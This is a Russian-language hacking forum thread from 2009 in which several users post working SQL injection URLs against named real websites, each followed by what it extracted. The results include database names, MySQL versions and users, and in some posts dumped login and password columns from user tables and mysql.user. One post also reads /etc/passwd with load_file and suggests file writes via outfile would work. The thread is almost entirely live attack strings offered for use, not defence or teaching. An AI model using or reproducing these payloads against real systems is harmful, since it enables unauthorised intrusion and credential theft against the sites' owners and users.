SQL Инъекции

22.11.2009, 21:13

fox_malder

Участник форума

Регистрация: 28.11.2008

Сообщений: 281

С нами: 9184072

Репутация: 242

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 ,43,44,45,46--

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,DATABASE(),4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 ,40,41,42,43,44,45,46--
bienvenueapariscom

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,VERSION(),US ER(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,3 8,39,40,41,42,43,44,45,46--
5.0.67-log
flocmagny@imu176.infomaniak.ch

http://www.bienvenueaparis.fr/flat.php?id=14+and+0+union+select+1,2,login,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46+from+phpmv_users--
дальше не стал

𝕏 Twitter Reddit Telegram Копировать ссылку

23.11.2009, 22:50

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

Код:

http://www.lademence.be/pages/commentaires/news.php?action=affiche_commentaires&id=-26+union+select+1,2,unhex(hex(concat_ws(0x3a,user_id,user_level,user_pwd,user_nom,user_prenom,user_pseudo,user_email,user_post_format,user_edit_size,user_pref_cat,user_lang,user_delta,user_post_pub))),4+from+dc_user--

24.11.2009, 14:58

IgAlex

Познающий

Регистрация: 17.11.2008

Сообщений: 48

С нами: 9200579

Репутация: 71

Скандинавские аукционы - дырявый движок, 3 скули для примера

lockemout.com

Код:

http://lockemout.com/productdetails.php?pid=3&aid=448+union+all+select+1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83--

5.0.81-community:lmocom_bd:lmocom_bdu@localhost

biddango.com

Код:

http://biddango.com/productdetails.php?pid=10&aid=-9999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83--

5.0.85-community:biddango_auction:biddango_admin@localhos t

yayabids.com

Код:

http://yayabids.com/productdetails.php?pid=4&aid=-9999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92--

5.0.81-community:yayabids_yaya:yayabids_yaya@localhost

Последний раз редактировалось IgAlex; 24.11.2009 в 15:39..

24.11.2009, 12:05

Sams

Участник форума

Регистрация: 18.04.2009

Сообщений: 120

С нами: 8981650

Репутация: 80

d-poljane.lj.edus.si

Код:

http://www.d-poljane.lj.edus.si/klepetalnica/detail.php?pid=-100+union+select+1,convert(concat(user(),0x3A,version(),0x3A,database()),binary),3,4,5,6,7,8,9,10,11,12+--+

Version: 4.1.14
User: dd-poljane@localhost
Database: ddp
OS: portbld-freebsd 4.8

24.11.2009, 15:26

Sams

Участник форума

Регистрация: 18.04.2009

Сообщений: 120

С нами: 8981650

Репутация: 80

blueprintskateboards.com

Код:

http://www.blueprintskateboards.com/news.php?id=-1110+UNION+SELECT+1,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database())
,3,4,5,6+--+

Version: 4.1.20
User: blueprint@localhost
Database: blueprint
OS: Linux

finishing-blasting.com

Код:

http://www.finishing-blasting.com/news.php?id=-114+UNION+SELECT+1,2,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database()),4+--+

Version: 4.1.22-max-log
User: finishingblast@68.178.254.191
Database: finishingblast
OS: Linux

todaysgrocery.com

Код:

http://www.todaysgrocery.com/news.php?id=-0045+UNION+SELECT+1,2,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database()),4+--+

Version: 4.1.22-standard
User: graphici_admin@localhost
Database: graphici_grocery
OS: Linux

25.11.2009, 15:42

IgAlex

Познающий

Регистрация: 17.11.2008

Сообщений: 48

С нами: 9200579

Репутация: 71

geogen.ge

Код:

http://www.geogen.ge/index.php?id_menu=51&id_menu_up=&lang=&abc=1&id_let=2+union+all+select+1,2,3,4,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,6,7--

5.0.81-community-log:geogenge_geo:geogenge@localhost

Последний раз редактировалось IgAlex; 30.11.2009 в 15:06..

25.11.2009, 18:43

DezMond™

Участник форума

Регистрация: 10.01.2008

Сообщений: 199

С нами: 9650336

Репутация: 662

Код:

http://www.radiochango.com/catala/foros/missatges.php?ID=207&IDM=131265+uNiOn+sElEct+1,concat_ws(0x3a3a,VCH_login,VCH_password),3+from+rc_usuarios+--+

Код:

http://seosamhgriangraf.com/texts.php?menu_id=-3+uNiOn+sElEct+1+--+&menu_order=4

Код:

http://islandtripper.com/islands.php?id=-2+union+select+1,2,3,4+--+

Код:

http://ijpr.iut.ac.ir/magazine.php?magazine=ijpr+union+select+1,file_priv,3,4+from+mysql.user+--+

Код:

http://www.wjxz.com/view.php?id=-502+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+

Код:

http://capeclearislandferry.com/texts.php?menu_id=-16+union+select+concat_ws(0x3a3a,user_name,password)+from+control_user+--+&menu_order=5'

Код:

http://www.pvpubs.com/magazine.php?id=-1+union+select+concat_Ws(0x3a3a,username,password)+from+user+--+

25.11.2009, 20:24

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

http://www.witec.de/en/company/witecnews/news.php?id=-25+union+select+1,2,concat_ws(0x3a,user(),version( ),database,@@version_compile_os),4,5,6--

user:d004aa52@localhost
version:5.0.45-community-log
database:d004aa52
OS

c-linux-gnu

26.11.2009, 20:23

hack-win32

Познающий

Регистрация: 11.10.2009

Сообщений: 33

С нами: 8727996

Репутация: 99

gymsite@localhost:globalso_gymcan:5.0.67-community

Код:

 http://www.gymcan.org/site/news.php?id=-118+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15--

dbo39874005@localhost:db39874005:4.0.27-standard

Код:

 http://www.iwr.de/news.php?id=-13392+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7--

dbo251077112@212.227.127.134:db251077112:4.0.27-max-log

Код:

http://www.atomicforce.de/News.php?ID=-47+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--

dbo161593295@localhost:db161593295:4.0.27-standard

Код:

http://www.busplaner.de/nachricht/news.php?id=-59708+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6--

#10

26.11.2009, 20:32

Bb0y

Участник форума

Регистрация: 30.10.2009

Сообщений: 103

С нами: 8700497

Репутация: 388

Отправить сообщение для Bb0y с помощью Yahoo

http://www.amrophever.com/leader.php?menu=2&id=-4+union+select+concat_ws(0x3a,user,password,file_p riv,0x3a,host)+from+mysql.user
root:[censored]:Y:localhost
MySQL 4.1.20-log
http://www.amrophever.com/leader.php?menu=2&id=-4+union+select+load_file('/etc/passwd') - чтение файлов на сервере
если напрячься и раскрыть пути, то и outfile прокатит

Создать сделку

Мои сделки

Сделка